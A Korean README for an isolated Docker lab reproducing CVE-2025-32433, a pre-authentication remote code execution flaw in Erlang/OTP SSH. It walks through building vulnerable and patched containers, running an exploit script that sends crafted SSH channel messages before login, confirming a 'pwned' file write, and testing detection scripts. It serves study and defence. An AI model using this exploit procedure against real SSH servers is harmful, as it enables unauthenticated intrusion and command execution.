
Erlang/OTP SSH 서버에서 SSH 프로토콜 메시지 처리의 결함으로 인해 악의적인 행위자가 유효한 자격 증명 없이 영향을 받는 시스템에 무단으로 접근하고 임의의 명령을 실행할 수 있습니다
✅ 사전 인증(pre-auth) RCE 확인됨 — 익스플로잇이 성공적으로 시연되었습니다.
📄 기술 블로그 (PDF):CVE-2025-32433-Technical-Blog.pdf
📸 시각적 증거:screenshots/
🔍 개념 증명 세부 정보:docs/PROOF_OF_CONCEPT.md
CVE-2025-32433은 Erlang/OTP SSH 데몬의 CVSS 10.0 치명적(Critical) 취약점입니다. 인증되지 않은 공격자가 인증을 완료하기 전에 SSH 채널을 열고 임의의 명령을 실행할 수 있습니다 — 자격 증명이 전혀 필요하지 않습니다.
이 랩은 취약점을 재현하고, 익스플로잇을 실행하고, 검증하고, 탐지 메커니즘을 테스트할 수 있는 완전히 작동하는 격리된 환경을 로컬 머신에서 제공합니다.
시작하기 전에 다음 항목이 설치되어 있는지 확인하세요:
| 도구 | 최소 버전 | 확인 명령 |
|---|---|---|
| Docker Desktop | 4.x+ | docker --version |
| Docker Compose | v2.20+ | docker compose version |
| Python | 3.10+ | python --version |
탐지 제품군을 위해 Python paramiko 라이브러리도 필요합니다:
pip install paramiko
CVE-2025-32433가 공개된 후 Docker Hub의
erlang:26.2.5이미지 태그가 패치된26.2.5.11릴리스로 조용히 덮어쓰여졌습니다. Docker Hub에서 가져오면 취약한 버전이 아니라 패치된 버전을 얻게 됩니다.이 랩의
lab/Dockerfile은 진정한 취약 런타임을 보장하기 위해 공식 Erlang GitHub 릴리스 tarball에서 OTP 26.2.5를 직접 컴파일합니다. 첫 빌드는 약 10분이 소요됩니다.
┌──────────────────────────────────────────┐
│ Isolated Docker Bridge │
│ (cve-lab-bridge) │
└────┬────────────────────────────┬────────┘
│ │
┌───────────────┴─────────────┐┌─────────────┴──────────────┐
│ target_vulnerable ││ target_patched │
│ OTP 26.2.5 (source-built) ││ erlang:26.2.5.11 │
│ Host Port: 127.0.0.1:2222 ││ Host Port: 127.0.0.1:2223 │
└─────────────────────────────┘└─────────────────────────────┘
│
┌──────────────┴──────────────┐
│ attacker │
│ Python 3 + Scapy/Paramiko │
│ Workdir: /work │
└─────────────────────────────┘
| 컨테이너 | 포트 | OTP 버전 | 상태 |
|---|---|---|---|
cve-2025-32433-vulnerable | 127.0.0.1:2222 | 26.2.5 (ERTS 14.2.5) | ❌ 취약함 |
cve-2025-32433-patched | 127.0.0.1:2223 | 26.2.5.11 (ERTS 14.2.5.15) | ✅ 패치됨 |
cve-2025-32433-attacker | 내부 전용 | Python 3 도구 | 공격자 도구 세트 |
git clone https://github.com/damnkrishna/CVE-2025-32433-LAB.git
cd CVE-2025-32433-LAB
⏱️ 약 10분 소요 — C 소스에서 Erlang/OTP 26.2.5를 컴파일합니다. 이는 정상입니다. 중단하지 마세요.
docker compose build --no-cache target_vulnerable
make[1]: Leaving directory '/tmp/otp_src_26.2.5/lib/...'와 같은 컴파일러 출력이 표시됩니다 —
이는 정상입니다. 출력은 다음과 같이 끝납니다:
✔ Image ine_cyber_assignment_job-target_vulnerable Built
docker compose build --no-cache target_patched
docker compose up -d target_vulnerable target_patched
docker compose ps
Expected output:
NAME STATUS PORTS
cve-2025-32433-vulnerable Up (healthy) 127.0.0.1:2222->2222/tcp
cve-2025-32433-patched Up (healthy) 127.0.0.1:2223->2222/tcp
두 컨테이너 모두 계속하기 전에 (healthy) 상태를 표시해야 합니다.
컨테이너가 실제로 패치된 버전이 아닌 OTP 26.2.5를 실행하고 있는지 확인합니다:
docker exec cve-2025-32433-vulnerable cat /usr/local/otp/lib/erlang/releases/RELEASES
예상 출력 — .15 접미사 없이 14.2.5가 표시되어야 함:
[{release,"Erlang/OTP","26","14.2.5",
[{kernel,"9.2.4",...},
14.2.5.15가 보이면 컨테이너 이미지가 잘못된 것입니다. --no-cache로 다시 빌드하세요.
서버가 표준 인증을 허용하는지 확인하기 위해 정당한 사용자로 접속합니다:
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 [email protected]
메시지가 표시되면 비밀번호를 입력하세요: LabPass2026!Secured
Erlang 셸로 진입하게 됩니다:
Eshell V14.2.5 (press Ctrl+G to abort, type help(). for help)
1>
Erlang 셸 안에서 몇 가지 명령을 시도해 보세요:
ls().
file:write_file("test.txt", "hello").
file:read_file("test.txt").
Erlang 셸을 종료하려면:
q().
익스플로잇을 실행하기 전에 두 번째 PowerShell 터미널을 열고 서버 로그를 tail 합니다:
Get-Content -Path .\logs\target_vulnerable\ssh.log -Wait -Tail 20
이 터미널을 열어 두세요. 연결 이벤트가 실시간으로 나타나는 것을 볼 수 있습니다.
이것은 인증 전 원격 코드 실행 개념 증명입니다. 자격 증명은 사용되지 않습니다.
cd attacker_work\exploit
python payload.py
Expected output:
[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.1.4
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt.
[+] Received response: 000003d4...
취약한 서버에 접속했는지 확인하려면 배너에 SSH-2.0-Erlang/5.1.4가 표시되어야 합니다(.15 접미사 없음).
docker exec cve-2025-32433-vulnerable cat /lab.txt
Expected output:
pwned
pwned가 보이면 — CVE-2025-32433 사전 인증 RCE가 확인된 것입니다.
익스플로잇은 자격 증명 없이 컨테이너 파일 시스템에 기록했습니다.
포트 2223의 패치된 컨테이너를 대상으로 동일한 익스플로잇을 실행합니다:
attacker_work\exploit\payload.py 6번째 줄을 편집합니다:
PORT = 2223 # change from 2222 to 2223
익스플로잇 실행:
python payload.py
그런 다음 파일을 확인합니다:
docker exec cve-2025-32433-patched cat /lab.txt
Expected output:
cat: /lab.txt: No such file or directory
패치된 컨테이너는 인증되지 않은 채널 요청을 거부합니다. 파일이 기록되지 않음 = 패치됨.
완료 후 payload.py의 포트를 다시 2222로 복원하세요.
저장소 루트로 돌아가세요:
cd ..\..
취약한 대상 스캔:
python detection\detect_cve_2025_32433.py 127.0.0.1 2222
패치된 대상 스캔:
python detection\detect_cve_2025_32433.py 127.0.0.1 2223
Erlang에 의해 생성된 예상치 못한 자식 프로세스(예: RCE를 나타내는 셸 프로세스)가 있는지 컨테이너 프로세스 테이블을 모니터링합니다:
python detection\host_process_monitor.py
계속 실행한 상태에서 다른 터미널에서 익스플로잇을 실행하면 이상 징후가 표시됩니다.
Ctrl+C를 눌러 중지합니다.
하나의 명령으로 모든 탐지 계층을 실행합니다:
python detection\run_all_detections.py
다음과 같은 전체 진단 표가 생성됩니다:
Erlang SSH 데몬은 구조화된 로그를 디스크에 기록하며, 이 로그는 호스트에 마운트됩니다:
| 컨테이너 | 로그 파일 |
|---|---|
| 취약 | ./logs/target_vulnerable/ssh.log |
| 패치됨 | ./logs/target_patched/ssh.log |
실시간 추적:
Get-Content -Path .\logs\target_vulnerable\ssh.log -Wait -Tail 20
익스플로잇 후 확인해야 할 주요 로그 라인:
debug: Connection terminated. Unexpected message for unauthenticated user.
Message: [{ssh_msg_channel_open,...}]
notice: Accept failed on any:2222 for connect from 172.20.0.X:PORT: normal
취약한 버전에서는 채널 요청이 이 로그 항목이 기록되기 전에 실행됩니다.
docker compose down
이미지를 완전히 정리하려면:
docker compose down --volumes
docker rmi ine_cyber_assignment_job-target_vulnerable --force
docker rmi ine_cyber_assignment_job-target_patched --force
| 매개변수 | 값 |
|---|---|
| 사용자 이름 | labuser |
| 비밀번호 | LabPass2026!Secured |
| 취약한 포트 | 127.0.0.1:2222 |
| 패치된 포트 | 127.0.0.1:2223 |